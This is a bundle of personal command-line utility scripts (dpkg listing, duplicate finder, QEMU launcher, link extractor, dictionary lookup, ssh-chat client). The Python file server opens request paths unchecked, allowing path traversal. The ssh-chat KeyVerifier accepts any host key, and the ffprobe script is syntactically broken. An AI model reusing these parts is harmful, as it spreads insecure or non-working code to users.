%{ /share/doc/ light_yellow /bin/ light_cyan /lib/ light_blue /share/ light_green } STYLELIST = STYLEDESC. nice_lines. map(&:strip).map(&:split). map{|loc,color| [Regexp.new(loc), color] } if ARGV.empty? puts "Please supply the package you want to view the contents of after the command." exit 1 end IO.popen("dpkg -L #{ARGV * ' '}", "r") do |dpkg| lesspipe do |less| for line in dpkg selected_color = 'white' for pattern, color in STYLELIST if pattern.match(line) selected_color = color break end end less.puts line.strip.send(selected_color) end end end <file_sep>#!/usr/bin/env ruby ################################################################## class String def url? self =~ %r{^https?://.+}i end end ################################################################## def clipboard_get_android [`termux-clipboard-get`.chomp] end def clipboard_get_linux # 'primary' == selection, 'clipboard' == manually copied %w[clipboard primary].map do |name| result = `xclip -o -selection #{name}`.chomp result.empty? ? nil : result end.compact end def clipboard_get if `uname -s`["Linux"] if `uname -o`["Android"] clipboard_get_android else clipboard_get_linux end else raise "Unsupported platform: #{`uname -a`}" end.select(&:url?) end ################################################################## urls, args = ARGV.partition(&:url?) if urls.empty? urls += clipboard_get end urls.each do |url| system("gfv", "-a", url, *args) end <file_sep>#!/bin/bash if [ "$1" == "--help" ]; then echo "usage: f <expr> [dirs...]" exit fi if [[ "`uname`" == "Darwin" ]]; then CMD="find -x" else CMD="find -mount" fi expr="$1" shift if [ "$#" == "0" ]; then $CMD . | grep -Ei --color=always "$expr" else while (( "$#" )); do $CMD "$1" | grep -Ei --color=always "$expr" shift done fi <file_sep>#!/usr/bin/env ruby require 'json' require 'epitools' cmd = %w[ffprobe -v quiet -print_format json -show_format -show_streams] opts, args = ARGV.partition { |arg| arg[/^--?\w/] } args.each do |arg| puts "<8>=== <14>#{arg} <8>=========".colorize json = JSON.parse IO.popen(cmd + [arg], &:read) streams, format = json.values_at("streams", "format") streams = streams.map do |stream| template = { index: :index, codec: :codec, bitrate: :bit_rate, codec,stream.values_at("index", "codec_name", "bit_rate", "duration", "codec_type", "codec_long_name") end tags = format["tags"] streams.each do |s| puts "Stream ##{s["index"]}:" s.each do |k,v| puts " #{k}: #{v}" end end pp tags end # { # "format": { # "filename": "14-paco_de_lucia_-_la_nina_de_puerta_oscura-irf.mp3", # "nb_streams": 1, # "nb_programs": 0, # "format_name": "mp3", # "format_long_name": "MP2/3 (MPEG audio layer 2/3)", # "start_time": "0.025057", # "duration": "178.834286", # "size": "5747373", # "bit_rate": "257103", # "probe_score": 51, # "tags": { # "title": "La Nina de Puerta Oscura", # "artist": "<NAME>", # "album": "The Life Aquatic with Steve Zi", # "date": "2004", # "comment": "iRF!!", # "genre": "Soundtrack" # } # } # "streams": [ # { # "index": 0, # "codec_name": "mp3", # "codec_long_name": "MP3 (MPEG audio layer 3)", # "codec_type": "audio", # "codec_time_base": "1/44100", # "codec_tag_string": "[0][0][0][0]", # "codec_tag": "0x0000", # "sample_fmt": "fltp", # "sample_rate": "44100", # "channels": 2, # "channel_layout": "stereo", # "bits_per_sample": 0, # "r_frame_rate": "0/0", # "avg_frame_rate": "0/0", # "time_base": "1/14112000", # "start_pts": 353600, # "start_time": "0.025057", # "duration_ts": 2523709440, # "duration": "178.834286", # "bit_rate": "257095", # "disposition": { # "default": 0, # "dub": 0, # "original": 0, # "comment": 0, # "lyrics": 0, # "karaoke": 0, # "forced": 0, # "hearing_impaired": 0, # "visual_impaired": 0, # "clean_effects": 0, # "attached_pic": 0, # "timed_thumbnails": 0 # }, # "tags": { # "encoder": "LAME3.90." # } # } # ], # } <file_sep>#!/bin/bash sudoifnotroot add-apt-repository $1 <file_sep>#!/usr/bin/env ruby ################################################################ gem 'slop', "~> 3.6" require 'slop' require 'epitools' ################################################################ # # TODOs: # - ignore symlinks # ################################################################ # Utility functions def parse_opts_and_args opts = Slop.parse(help: true, strict: true) do banner 'Usage: dupes [options] <files or dirs to check for dupes...>' on 'd', 'delete', 'Delete dupes (keeping the oldest)' on 'i', 'interactive', 'Interactively delete dupes' on 's', 'size-only', 'Don\'t checksum files (can be much faster, but inaccurate)' on 'a', 'all', "Process all files (don't ignore .git)" on 'r', 'rm', "Use 'rm' instead of 'trsh'" on 'e=', 'exclude', 'Exclude a path' end [opts, ARGV] end def title(msg); puts "<8>* <15>#{msg}".colorize; end def subtitle(msg); puts " <8>|_ <7>#{msg}".colorize; end def common_prefix(files) # FIXME: cuts directory names in half if there's a partial prefix match; truncate to / x, *xs = files.map &:to_s x.each_char.with_index do |c, i| unless xs.all? { |s| s[i] == c } return x[0...i] end end "" end ################################################################ # Parse args opts, args = parse_opts_and_args args << "." if args.empty? # Default is current dir trasher = begin if opts.rm? "rm" else Path.which("trsh", "rm").compact.first end end trash = proc do |*paths| system(trasher, "-v", *paths) end ################################################################ # Gather files files = args.map do |arg| path = Path[arg] path.dir? ? path.ls_r.select(&:file?) : path end.flatten ################################################################ # Exclude patterns excludes = [] excludes << %r{/\.git/} unless opts[:all] excludes << /#{Regexp.escape opts[:exclude]}/i if opts[:exclude] excludes.each { |regex| files.reject! { |f| f =~ regex } } ################################################################ # Get file sizes sized_files = files.map { |f| [f.size, f] } title "Found <9>#{files.size}</9> files..." ################################################################ # # Find duplicates by first grouping by file size, # then grouping those groups by the file's SHA256 hash. # group_proc = opts["size-only"] ? proc { |s,f| s } : proc { |s,f| f.sha256 } grouped_dupes = sized_files.group_by(&:first). # group by file size flat_map do |filesize, group| if group.size > 1 group.group_by(&group_proc). map { |sha,subgroup| subgroup.size > 1 ? subgroup : nil }.compact else nil end end.compact.sort if grouped_dupes.empty? subtitle "no duplicates" exit 1 end subtitle "#{grouped_dupes.size} duplicates" puts ################################################################ if opts.delete? # # Delete all but oldest dupe # deleters = grouped_dupes.map do |group| keeper = group.sort_by { |size, path| path.mtime }.first (group - [keeper]).map { |size, path| path } end.flatten trash.call *deleters elsif opts.interactive? # # Interactively delete duplicates # grouped_dupes.each do |group| prefix = common_prefix(group.map(&:last)) puts prefix group.each_with_index do |(size, file), i| puts "<7>#{i+1}<8>) <9>#{size.commatize} <8>| <11>#{file.relative_to(prefix)}".colorize end print "which to keep? (ENTER to skip) > " choice = $stdin.gets.strip # Skip this if the user enters a blank line if choice.blank? puts "Skipping" puts next end # Re-prompt if the user didn't pick a valid option unless group[choice.to_i-1] puts "Invalid choice." puts redo end keep = choice.to_i-1 # Trash everything except the user's choice group.each_with_index do |(size, fn), i| trash.call(fn) unless i == keep end puts end else # # Display duplciates without deletin' nothin' # grouped_dupes.each do |group| group.each do |size, file| puts "<9>#{size.commatize} <8>| <11>#{file.relative_to(Path.pwd)}".colorize end puts end end <file_sep>#!/bin/bash #rxvt -ls -fg grey -bg black -fn '-misc-fixed-medium-r-normal-*-*-130-*-*-c-*-iso8859-9' -sl 5000 urxvt -ls -fg grey -bg black -sl 5000 <file_sep>#!/usr/bin/env ruby # # TODO: Almost identical, but _much_ faster: `grep VmSwap /proc/*/status` # require 'epitools' lesspipe do |less| results = Path["/proc/*/smaps"].map do |smap| pid = smap.dirs.last next unless pid =~ /^\d+$/ STDERR.print "." total = smap.open do |f| f.each_line.map do |line| if line =~ /^Swap:\s+(\d+)/ $1.to_i end end end.compact.sum next if total.nil? or total == 0 command = smap.with(filename: "cmdline").read.gsub("\0", " ") [total, pid, command] end.compact.sort_by { |total, _| -total } puts results.each do |total, pid, command| indented_size = "#{total}k".rjust(8) indented_pid = "#{pid}".rjust(6) less.puts "<14>#{indented_size} <9>#{indented_pid} <7>#{command}".colorize end end <file_sep>#!/usr/bin/env ruby ################################################ require 'epitools/clitools' ################################################ LOCAL_QUOTES_FILE = "#{__dir__}/quotes.txt" ################################################ def quotes(files=nil) files.flat_map do |file| open(file) { |f| f.read.split("\n%\n") } end end ################################################ args = ARGV if (args & %w[-h --help]).any? puts "usage: q [options] <search string>" puts puts "options:" puts " -f <quote file> Throw a quote file on the pile" puts " (can be given multiple times)" puts puts " -s Add system fortunes to the pot" puts " (everything in `/usr/share/fortune(s)/`)" puts puts " -l Add the local quotes file (#{LOCAL_QUOTES_FILE})" puts " (it's included by default, but if you supply -s or -f, it stops being" puts " included, so you have to pass -l to add it back into the mix)" puts puts " -e Edit local quotes file (#{LOCAL_QUOTES_FILE.inspect}) with $EDITOR" puts puts " -n <num> How many quotes to show?" puts puts " -c --count --stats --stat" puts " Quote statistics!" puts exit end files = [] # quote files! # # parse the "-f <file>" pairs from the `args` (and put them in `files`) # how_many = 1 i = 0 loop do break if i >= args.size-1 # stop if we're on the last element if args[i] == "-f" files << args[i+1] args[i..i+1] = [] # remove "-f <file>" from the args elsif args[i] == "-n" how_many = args[i+1].to_i if how_many < 1 $stderr.puts "#{how_many} quotes? ok, no quotes for you!" exit 1 end args[i..i+1] = [] # remove "-n <num>" from the args else i += 1 end end opts, args = args.partition { |arg| arg[/^--?\w/] } # # add fortune files to the pot # if opts.delete("-s") files += Dir["/usr/share/fortune{,s}/**/*"].map do |fn| next if fn[/\.dat$/] fn = File.readlink(fn) if File.symlink?(fn) fn = File.expand_path(fn) next if not File.file?(fn) fn end.compact end files << LOCAL_QUOTES_FILE if files.empty? or opts.include?("-l") files.uniq! if (missing = files.select { |f| not File.exists?(f) }).any? puts "Missing files:" missing.each { |m| puts " #{m.inspect}" } exit 1 end if (opts & %w[-c --count --stats --stat]).any? # Show statistics puts "Quote files:" files.each { |f| puts " #{f}" } puts puts "Total quotes: #{quotes(files).count}" exit end # # Edit the files! # if opts.delete("-e") cmd = [] if not ENV["EDITOR"].empty? cmd << ENV["EDITOR"] elsif which("s") cmd << "s" else cmd << "vi" end system *cmd, *files exit $?.exitstatus end if args.any? # whatever's left must be the search query require 'epitools/colored' # search quotes matchers = args.map { |arg| /#{Regexp.escape(arg)}/i } quotes(files).select do |quote| if matchers.all? { |m| m =~ quote } h = quote.dup # h.gsub!(/^\s+-- .+$/) { |s| "<9>#{s}</9>"} # highlight author name matchers.each {|m| h.gsub!(m) { |s| "<14>#{s}</14>" } } h += "\n<8>----</8>" puts h.colorize end end else # random quote from all the files quotes(files).sample(how_many).each do |quote| puts quote puts "\e[30m\e[1m----\e[0m" if how_many > 1 end end <file_sep>#!/usr/bin/env ruby # # TODO # ---------------------------- # * results in columns # * include dpkg results (parallel pipes) # * use apt-cache records for descriptions # |_ abstract it all with ruby-dpkg? # require 'rubygems' require 'epitools' pattern = Regexp.new( "(" + ARGV.map{|arg| Regexp.escape arg}.join("|") + ")", Regexp::IGNORECASE ) lesspipe do |less| IO.popen("apt-cache search #{ARGV * ' '} | sort", "r") do |apt| for line in apt less.puts line.highlight(pattern) end end end <file_sep>#!/usr/bin/env ruby ######################################################## require 'epitools' gem 'slop', "~> 3.6" require 'slop' ######################################################## ######################################################## # Parse options opts = Slop.parse(help: true, strict: true) do banner "Usage: copy-timestamp [options] <source file> <destination file>" # on "a", "all", "Copy both ctime and mtime" # on "c", "ctime", "Copy ctime only" # on "m", "mtime", "Copy mtime only (default)" end args = ARGV ######################################################## if args.size != 2 puts "Error: Must supply exactly 2 arguments (source file and destination file)" puts puts opts exit 1 end src, dest = args.map(&:to_Path) puts "* Copying mtime..." puts " |_ time: #{src.mtime}" puts " |_ source: #{src}" puts " |_ destination: #{dest}" dest.mtime = src.mtime puts <file_sep>#!/usr/bin/env ruby ######################################################## require 'epitools' require 'oga' # gem 'slop', "~> 3.6" require 'pry/slop' ######################################################## ######################################################## # Parse options opts = Pry::Slop.parse(help: true, strict: true) do banner "Usage: emoji [category name (to list categories)] " # on "a", "along", "desc" # on "b=", "blong", "desc", default: "" end exit if opts.help? args = ARGV ######################################################## def cached_curl(url) cache = "/tmp/curl-#{url.sha1}.cache" if File.exist?(cache) $stderr.puts "cached! => #{cache}" else File.write(cache, curl(url)) end File.read(cache) end def load_page(url) Oga.parse_html(cached_curl(url)) end ######################################################## if args.empty? doc = load_page("https://emojipedia.org/") puts "=== Categories =====" puts cat_container = doc.css("h2").find { |h| h.text == "Categories" }.parent cats = cat_container.css("li a").map { |e| [e.at_css(".emoji").text, e["href"].gsub("/", "")] } cats.each do |e,name| puts "#{e} #{name}" end else args.each do |arg| puts "=== #{arg} ======" puts doc = load_page("https://emojipedia.org/#{arg}/") emoji = doc.css(".emoji-list li a").map { |e| [e.at_css(".emoji").text, e["href"].gsub("/","")] } emoji.each do |e,name| puts "#{e} :#{name}:" end puts end end <file_sep>#!/usr/bin/ruby require 'rubygems' require 'nokogiri' require 'open-uri' def get_video_info(url) doc = Nokogiri::HTML(open(url)) ## Get the high-res video link # "Video to desktop (Zipped MP4)" # "Video to iTunes (MP4)" # "Watch this talk as high-res video" links = (doc/"a").select{|e| e.text =~ /high-res video/} if links.any? link = "http://www.ted.com#{links.first['href']}" else raise "Couldn't find any links high-res links" end ## Get the year #so.addVariable("fd","Feb 1998"); // filmdate #so.addVariable("pd","Nov 2008"); // pubdate if (doc/"script").text =~ /fd:"\w{3,4} (\d{4})",/ year = $1 else raise "Couldn't find filmdate" end ## Get the title and presenter #<h1><a class="grey" href="/index.php/talks">Talks</a> <span> # <NAME>: Why didn't girls play videogames?</span></h1> if doc.search("h1 span").text.strip =~ /(.{10,})/ title = $1 else raise "Couldn't find a title" end ## Return the info {:title=>title, :url=>link, :year=>year} end def info_to_filename(info) title = info[:title].gsub('?','').tr(':"', ",'") "#{title} (TED#{info[:year]}).mp4" end def save_file(url, filename) #system('wget', '-c', url, '-O', filename) system('curl', '-L', '-C', '-', url, '-o', filename) puts end def help puts "usage: ted <urls>" exit 1 end if $0 == __FILE__ help unless ARGV.size > 0 for url in ARGV info = get_video_info(url) p info filename = info_to_filename(info) puts "Saving to: #{filename}..." puts save_file(info[:url], filename) end end <file_sep>#!/usr/bin/env ruby gem 'slop', "~> 3.6" require 'slop' require 'epitools' def copy(src, dest) open(src, "rb") do |input| open(dest, "wb") do |output| IO.copy_stream(input, output) end end end def parse_options opts = Slop.parse(help: true, strict: true) do banner "Usage: qemu [options] <.iso(s) or .qcow2 file(s) or /dev(s)>" on "m=", "memory", "How much memory to use?", default: "2G" on "s=", "size", "Disk size", default: "10G" # TODO: Accept the size as a suffix to the .qcow2 filename (eg: freebsd.qcow2:10G) on "n", "nbd", "Attach image to a block device (for mounting filesystems)" # on "d=", "device", "Pass through a block device (eg: /dev/sdb)" on "b=", "boot", "Drive to boot (eg: --boot=a)" on "k=", "kvm", "Use KVM", default: true on "p=", "port", "Forward a port to the machine (eg: '22', or '2222:22')" on "P=", "cpus", "Number of CPUs (default: 1)" on "B=", "bios", "Load a BIOS ROM file" on "S=", "samba", "Mount a host directory via samba (it'll be on 10.x.x.4)" on "9=", "9p", "Mount a host directory via 9p (guest fstab: \"host0 /wherever 9p trans=virtio,version=9p2000.L 0 0\")" on "r", "restrict", "Restrict the network (firewall)" on "e", "efi", "Boot using OVMF EFI BIOS" on "1", "pi", "Raspberry PI mode" on "2", "pi2", "Raspberry PI 2 mode" on "t", "serial", "Print serial output to STDIO ('debug' mode)" on "c", "console", "STDIO-only serial console mode" on "C", "curses", "Terminal-based UI (Press Alt-2 to get to qemu command console)" on "n", "no-daemon","Run in the foreground" on "d", "debug", "Print command and quit" on "M", "cursor", "Show the mouse cursor" on "v", "verbose", "Show (a little) more information" on "V", "version", "Show version information" # on "b=", "backing-file", "Use this as the backing file" end [opts, ARGV] end opts, args = parse_options if opts.version? %w[qemu-system-x86_64 qemu-system-i386 qemu-system-arm qemu-img].any? do |bin| system(bin, "--version") end exit end if args.empty? and not opts.bios? puts opts exit 1 end isos, disks = args.map { |arg| Path.new(arg) }.partition { |arg| arg.ext == "iso" or arg.path[%r{^/dev/s(r|cd)\d}] } isos.each { |iso| puts "Error: #{iso.inspect} does not exist" unless iso.exists? } exit 1 unless isos.all? &:exist? ############################### # Attach NBD ############################### if opts.nbd? if Process.uid != 0 puts "Error: You must run this as root." # exec("sudo", "ruby", __FILE__) else # TODO: Detect if an image (this image?) is already mounted # TODO: Prompt the user to disconnect a device if they're all full disks.each do |disk| dev = "/dev/nbd0" mnt = "/mnt" puts "[-] loading nbd kernel module" system("modprobe", "nbd", "max_part=8") puts "[-] connecting #{disk} to #{dev}" system("qemu-nbd", "--connect=#{dev}", disk) puts "[-] creating /devs #{disk} to #{dev}" system("partx", "-a", dev) puts "[!] done!" puts puts system("fdisk", "-l", dev) puts puts "(NOTE: You can run 'qemu-nbd --disconnect #{dev}' to disconnect the nbd from the disk image)" puts # p system("qemu-nbd", "--disconnect", dev) end isos.each do |iso| puts "Can't mount isos yet. Sorry!" end end exit end ############################### # Run QEMU ############################### # # RPI2 commands: # # qemu-system-arm -kernel kernel-qemu-3.10.25-wheezy # -initrd installer-rpi2-qemu.cpio # -cpu arm1176 -m 256 -M versatilepb # -no-reboot # -append "root=/dev/sda1 rw vga=normal console=ttyAMA0 console=ttyS0" # -hda raspbian-ua-netinst-v1.0.8.1.img # # qemu-system-arm.exe -M raspi2 # -kernel kernel-rpi2_install.img # -sd raspbian-ua-netinst-v1.0.8.1-ready.img # -append "rw earlyprintk loglevel=8 console=ttyAMA0,115200 console=ttyS0 root=/dev/mmcblk0p2" # -monitor stdio # memory = opts[:memory] if opts.pi? cmd = ["qemu-system-arm", "-cpu", "arm1176", "-M", "versatilepb"] elsif opts.pi2? cmd = ["qemu-system-arm", "-cpu", "arm1176", "-M", "raspi2"] else cmd = ["qemu-system-x86_64"] if File.exist?("/dev/kvm") or opts.kvm? cmd += ["-enable-kvm", "-cpu", "host"] else cmd += ["-cpu", "max"] end end if opts[:cpus] cmd += ["-smp", opts[:cpus]] end cmd += ["-rtc", "base=localtime"] cmd += ["-m", memory] cmd += ["-object", "rng-random,id=rando,filename=/dev/urandom"] cmd += ["-virtfs", "local,path=#{opts[:"9p"]},mount_tag=host0,security_model=passthrough,id=host0"] if opts[:"9p"] if opts[:bios] cmd += ["-bios", opts[:bios]] elsif opts.efi? places_to_look = %w[ /usr/share/edk2-ovmf/x64 /usr/share/ovmf/x64 ] ovmf_bios = nil places_to_look.any? do |place| file = "#{place}/OVMF.fd" ovmf_bios = file if File.exist?(file) end raise "Error: OVMF.fd not found in #{places_to_look.map(&:inspect).join(" or ")}" unless ovmf_bios cmd += ["-bios", ovmf_bios] # bios = "#{place}/OVMF_CODE.fd" # if File.exist?(bios) # readonly_vars = "#{place}/OVMF_VARS.fd" # vars = "/tmp/ovmf_vars.fd" # raise "Error: #{bios} not found" unless File.exists?(bios) # raise "Error: #{readonly_vars} not found" unless File.exists?(readonly_vars) # copy(readonly_vars, vars) # cmd += [ # "-drive", "if=pflash,format=raw,readonly=on,file=#{bios}", # "-drive", "if=pflash,format=raw,readonly=on,file=#{readonly_vars}", # "-drive", "if=pflash,format=raw,file=#{vars}" # ] end if opts.console? # cmd += %w[-nographic -serial mon:stdio -append 'console=ttyS0'] # cmd += %w[-nographic -serial mon:stdio] # cmd += %w[-nographic -device sga -serial mon:stdio] cmd += %w[-device sga -nographic -serial mon:stdio] # cmd += %w[-nographic -curses] else cmd += ["-vga", "std"] end cmd << "-show-cursor" if opts.cursor? cmd += ["-display", "curses"] if opts.curses? cmd += ["-serial", "stdio"] if opts.serial? disks.each do |disk| unless disk.exists? # if bf = opts[:"backing-file"] # if disks.size > 1 # puts "Error: Can't use more than one disk image when specifying a backing file" # else # system("qemu-img", "-f", "qcow2", "-b", bf, disk) case disk.ext when "qcow2" system("qemu-img", "create", "-f", "qcow2", disk, opts[:size]) else puts "I don't know how to make a #{disk} image" end end # -drive file=/dev/sdd,format=raw,if=virtio driveopts = ["file=#{disk}"] driveopts << "format=raw" if (disk.ext == "img") or disk[%r{^/dev/.+}] cmd += ["-drive", driveopts.join(",")] end isos.each { |iso| cmd += ["-cdrom", iso] } # Networking netopts = "user,id=usernet" netopts += ",restrict=on" if opts.restrict? netopts += ",smb=#{opts[:samba]}" if opts[:samba] if port = opts[:port] src, dest = port.split(":") dest ||= src netopts += ",hostfwd=tcp::#{src}-:#{dest}" end cmd += ["-netdev", netopts] cmd += ["-net", "nic,netdev=usernet"] cmd += ["-boot", opts[:boot]] if opts[:boot] p cmd if opts.verbose? or opts.debug? unless opts.debug? Process.daemon(true) unless opts["no-daemon"] or opts.console? or opts.curses? or opts.serial? exec *cmd end <file_sep>#!/usr/bin/python2 from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer import os from pprint import pprint PORT_NUMBER = 8080 MIMETYPES = { ".html": 'text/html', ".jpg": 'image/jpg', ".gif": 'image/gif', ".js": 'application/javascript', ".css": 'text/css', } def ext(s): try: return s[s.rindex("."):] except ValueError: return None class myHandler(BaseHTTPRequestHandler): def do_GET(self): mimetype = MIMETYPES.get(ext(self.path), "text/html") if self.path=="/": body = [] for filename in os.listdir("."): body.append("<a href='%(filename)s'>%(filename)s</a><br>" % locals()) body = ''.join(body) else: try: with open(os.curdir + os.sep + self.path).read() as f: body = f.read() except IOError: self.send_error(404, 'File Not Found: %s' % self.path) return #import IPython;IPython.embed() ch, cp = self.client_address print print "======= %s:%d => %s" % (ch, cp, self.requestline) pprint(self.headers.dict) print self.send_response(200) self.send_header('Content-type', mimetype) self.end_headers() print len(body), "bytes sent" self.wfile.write(body) try: server = HTTPServer(('', PORT_NUMBER), myHandler) print 'Started httpserver on port', PORT_NUMBER server.serve_forever() except KeyboardInterrupt: print '^C received, shutting down the web server' server.socket.close() <file_sep>#!/usr/bin/env ruby ######################################################## require 'epitools' gem 'slop', "~> 3.6" require 'slop' ######################################################## def cputs(str) puts "#{str}".colorize end class PCIDevice < Struct.new(:addr, :desc) def self.lookup(device_id) addr, desc = `lspci -nns #{device_id}`.strip.split(/\s+/, 2) new(addr, desc) end def to_s " <11>#{addr} <9>#{desc}" end end ######################################################## # Parse options opts = Slop.parse(help: true, strict: true) do banner "Usage: vfio [options]" # on "a", "along", "desc" # on "b=", "blong", "desc", default: "" end args = ARGV ######################################################## cputs "<8>=== <15>PCI Bus IOMMU Groups: <8>===" puts groups = Path["/sys/kernel/iommu_groups/*"].sort_by { |path| path.dirs.last.to_i} groups.each do |group| num = group.dirs.last cputs "<2>Group <10>#{num}<2>:" device_ids = (group/"devices/*").map { |path| path.dirs.last } device_ids.each do |device_id| cputs PCIDevice.lookup(device_id) end puts end puts cputs "<8>=== <15>Bound to vfio_pci driver: <8>===" puts Path["/sys/bus/pci/drivers/vfio-pci/*"].select { |path| path.dirs.last[/\d{4}:\d/] }.each do |path| cputs PCIDevice.lookup(path.dirs.last) end puts<file_sep>#!/bin/bash ip="$(route -n|grep UG|fields 2|grep -v "0.0.0.0")" echo "Gateway: $ip" echo ping $ip <file_sep>#!/usr/bin/env ruby require 'slop' require "tokyocabinet" include TokyoCabinet ################################################################### # http://toolserver.org/~enwikt/definitions/?sortby=7 ENGLISH = "http://toolserver.org/~enwikt/definitions/enwikt-defs-latest-en.tsv.gz" ALL = "http://toolserver.org/~enwikt/definitions/enwikt-defs-latest-all.tsv.gz" CACHE_DIR = File.expand_path("~/.cache/wict") INDEX = File.join CACHE_DIR, "enwikt-defs.idx" ################################################################### def options require 'slop' # lazy loaded @opts ||= Slop.parse(help: true, strict: true) do banner 'Usage: wict [options] <word(s)...>' on 'u', 'update', 'Update the database' on 'a', 'all', 'All langauges!' end end def bdb_open(filename, opts=nil) bdb = BDB::new # B-Tree database; keys may have multiple values if !bdb.open(filename, opts) raise "open error: #{bdb.errmsg(bdb.ecode)} (filename: #{filename.inspect})" end if block_given? result = yield bdb bdb.close result else bdb end end def backup(src) if File.exists? src counter = 1 dest = "#{src}.bak" while File.exists? dest counter += 1 dest = "#{src}.bak#{counter}" end puts "Backing up #{src.inspect} to #{dest.inspect}" File.rename(src, dest) end end ################################################################### def update backup(INDEX) url = options.a? ? ALL : ENGLISH puts "Importing database from #{url.inspect}..." IO.popen("curl -s #{url} | gunzip -c", "r") do |tsv| bdb_open(INDEX, BDB::OWRITER | BDB::OCREAT) do |bdb| tsv.each.with_index do |line, n| lang, word, type, definition = line.strip.split("\t") #p [:lang, lang, :word, word, :type, type, :definition, definition] bdb.putdup(word, definition) print "\b"*20 + n.to_s if n % 37 == 0 end puts end end end ################################################################### def lookup(args) bdb_open(INDEX) do |bdb| args.each do |arg| words = bdb.fwmkeys(arg) words.each do |word| defs = bdb.getlist(word) if defs.any? puts "#{word}" defs.each { |defn| puts " #{defn}" } puts end end end end end def wordcount bdb_open(INDEX) { |bdb| bdb.size } end ################################################################### if $0 == __FILE__ Dir.mkdir CACHE_DIR unless File.exists? CACHE_DIR if options.u? update else if not File.exists? INDEX puts "You must first download a database. Run 'wict -u'." exit 1 elsif ARGV.empty? puts "Pass the word(s) you want to look up as (an) argument(s)." puts "(#{wordcount} words in dictionary)" else lookup(ARGV) end end end<file_sep>#!/bin/bash if [ "$1" == "" ]; then echo "usage: gem-readme <gemname>" exit 1 fi cd "`gem-dir "$1"`" c . <file_sep>#!/bin/bash BIN="`which redshift-gtk gtk-redshift`" # LOC="42.8142432:-73.9395687" # Toronto # LOC="37.7576171,-122.5776844" # SF LOC="42.8142432:-110.9395687" # Wyoming # $BIN -t 6300:3400 -l $BIN -t 6300:3400 -l $LOC # -t DAY:NIGHT Color temperature to set at daytime/night # # The neutral temperature is 6500K. Using this value will not # change the color temperature of the display. Setting the # color temperature to a value higher than this results in # more blue light, and setting a lower value will result in # more red light. # # Default values: # # Daytime temperature: 5500K # Night temperature: 3700K <file_sep>#!/usr/bin/env ruby ######################################################################### gem 'slop', "~> 3.6" require 'slop' require 'oga' require 'epitools' ######################################################################### def parse_options opts = Slop.parse(help: true, strict: true) do # banner "Usage: <<scriptname>> [options]" banner %{Usage: getlinks <url1|file1> [<url2|file2>, ...] Purpose: Returns all the HREFs from the <a href=\"\"> tags in the specificed url(s). The links are output to STDOUT, while the status information is output to STDERR, so you can pipe the links to 'grep' and/or 'xargs wget'. Example: getlinks http://something.com/stuff.html | egrep '\.zip$' | xargs wget } # on "a", "along", "desc" on "m=", "match", "Match link content (regexp)" on "t=", "tags", "Which tags to extract?" on "i", "images", "Only select images" on "l", "links", "Only select links" on "m", "media", "Only select media" on "e", "enclosures", "Only select enclosures" end [opts, ARGV] end # # Try all the libraries! # def wget(url) begin require 'http' HTTP.follow.get(url).body.to_s rescue LoadError if bin = which("curl") IO.popen([bin, "--silent", "--location", url], &:read) elsif bin = which("wget") IO.popen([bin, "--quiet", "--output-document=-", url], &:read) else require 'open-uri' open(url, &:read) end end end ######################################################################### TYPES = { :links => ["a", proc { |e| e["href"] } ], :embeds => ["embed", proc { |e| e["src"] } ], :videos => ["video", proc { |e| e.search("source").map{|s| s["src"]} }], # <video><source src="..." type="video/ogg"></..> :audios => ["audio", proc { |e| e.search("source").map{|s| s["src"]} }], # <audio><source src="..." type="audio/mpeg"></..> :images => ["img", proc { |e| e["src"] || e["data-src"] } ], :enclosures => ["enclosure", proc { |e| e["url"] } ], } ######################################################################### =begin module URI # # Strip out params with blank values. # alias_method :old_params, :params def params old_params.delete_if { |k,v| v.blank? } end end =end ######################################################################### def strip_trackers(url) uri = URI.parse(url) if uri.host =~ /google.\w{2,3}$/ and uri.path == "/url" uri.params["url"] || uri.params["q"] elsif uri.host =~ /facebook\.com$/ and uri.path == "/l.php" uri.params["u"] elsif uri.host =~ /evernote\.com$/ and uri.path == "/OutboundRedirect.action" uri.params["dest"] else uri end.to_s end def absolute_uri(root, url) begin URI.join(root, url) rescue URI::InvalidURIError # Unicode nonsense a, b = url.split("#") url = URI.encode(a) url << "#" + URI.encode(b) if b URI.join(root, url) end.to_s end def relative_url?(url) URI.join(url, url) false rescue URI::BadURIError true end ######################################################################### def get_links(url, types=TYPES, regexp=nil) if url =~ %r{^https?://.+} data = wget(url) root_is_relative = relative_url?(url) elsif File.exists? url data = File.read url root_is_relative = false else $stderr.puts "Error: #{url} isn't an URL or a(n existing) file" exit 1 end page = Oga.parse_html(data) types = types.uniq result = types.map do |type| tag, callback = TYPES[type] links = page.css(tag).map(&callback).to_a.compact unless root_is_relative links.map! { |link| absolute_uri(url, link) } end links.map! { |link| strip_trackers link } links.select! { |link| link =~ regexp } if regexp [type, links] end.to_h # pp result if (emails = result[:links]&.select{|v| v["mailto:"]}) and emails.any? result[:emails] = emails result[:links] -= result[:emails] end result end ######################################################################### opts, args = parse_options if args.empty? puts opts exit 1 end types = [] types += [:audios, :videos] if opts.media? types += [:images] if opts.images? types += [:links] if opts.links? types += [:enclosures] if opts.enclosures? # Filter tag types if tags = opts[:tags] types += tags.split(",").map(&:strip).map(&:to_sym) elsif types.empty? types += TYPES.keys end # Filter links by regexp if expr = opts[:match] filter = Regexp.new(expr) else filter = nil end args.each do |arg| $stdout.puts "### #{arg}" for category, links in get_links(arg, types, filter) next if links.empty? $stdout.puts "# #{category}" links.each { |link| puts link } puts end end <file_sep>#!/bin/bash if [ "$1" == "" ]; then echo "Forwards a port to this machine using UPNP (both TCP and UDP)" echo "(requires the miniupnp package)" echo echo "usage: forward <port>" echo else upnpc -r $1 TCP $1 UDP fi <file_sep>#!/usr/bin/env ruby # # TODOs: # * Parse input into "lines" # * Filter out [name] prompt # * Use 'moar' to make a scrollable buffer # gem "ed25519" # (>= 1.2, < 2.0) gem "bcrypt_pbkdf" # (>= 1.0, < 2.0) gem "net-ssh" require 'readline' require 'net/ssh' require 'fileutils' def help! puts "Usage:" puts " sshchat-client [<user>@][<host>][:<port>]" puts puts "Note:" puts " user, host, and port are all optional -- the defaults are ${USER}@chat.shazow.net:22" puts puts "Alternately, the commandline arguments can be stored in a config file located at:" puts " #{CONFIG_FILE}" puts exit end class KeyVerifier def verify(hash) # :fingerprint=>"SHA256:<KEY>" puts "Fingerprint: #{hash[:fingerprint]}" true end def verify_signature yield end end CONFIG_DIR = "#{ENV['HOME']}/.config/sshchat-client" CONFIG_FILE = "#{CONFIG_DIR}/config" LOG_FILE = "#{CONFIG_DIR}/chat.log" 